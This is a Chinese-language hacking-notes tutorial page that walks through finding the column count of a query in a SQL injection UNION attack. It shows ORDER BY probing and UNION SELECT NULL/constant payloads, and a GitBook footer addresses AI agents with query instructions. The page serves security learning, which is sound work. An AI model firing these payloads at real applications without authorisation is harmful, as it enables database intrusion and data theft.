> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/union-attack-determining-number-of-columns.md).

# UNION 攻击列数检测

### SQL 注入 UNION 攻击，确定查询返回的列数

* **背景：** `category` 易受 SQL 注入的过滤器；应用程序响应包含 SQL 结果，因此一个 `UNION` 允许注入一行可见的额外内容。
* **目标：** 找出原始查询返回的确切列数，以构建兼容的 `UNION SELECT`.
* **快速方法：**

1. **测试使用 `ORDER BY`** — 逐步递增索引，直到发生错误（该错误表示索引超出了列数）：

   ````
    ```sql
    ' ORDER BY 1-- -
    ' ORDER BY 2-- -
    ' ORDER BY 3-- -
    ```
   ````

* 当 `ORDER BY N` 导致错误时，列数为 `< N`.

2. 通过注入包含 NULL 的 UNION 行来确认——构建一个具有相同列数的 SELECT UNION；如果应用程序显示注入的行（空值），则列数正确。示例（3 列）：

   ```sql
   ' UNION SELECT NULL, NULL, NULL-- -
   ```

* 如果该行出现，原始查询返回 3 列。否则，调整列数 `NULL` 并重新测试。

**有用的变体：**

* 使用常量来定位显示的列（当只返回部分列时很有用）：

  ```sql
  ' UNION SELECT 'A', 'B', 'C'-- -
  ```

（可直观识别响应中的哪些列对应于注入的列。）

* 如果 UNION 因类型问题失败，可根据 DBMS 将某些常量替换为 CAST(NULL AS VARCHAR2) / NULL，或使用 CAST/TO/ CHAR 调整类型。

预期结果：将显示包含 NULL（或常量）的额外一行 → 确定列数。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/union-attack-determining-number-of-columns.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
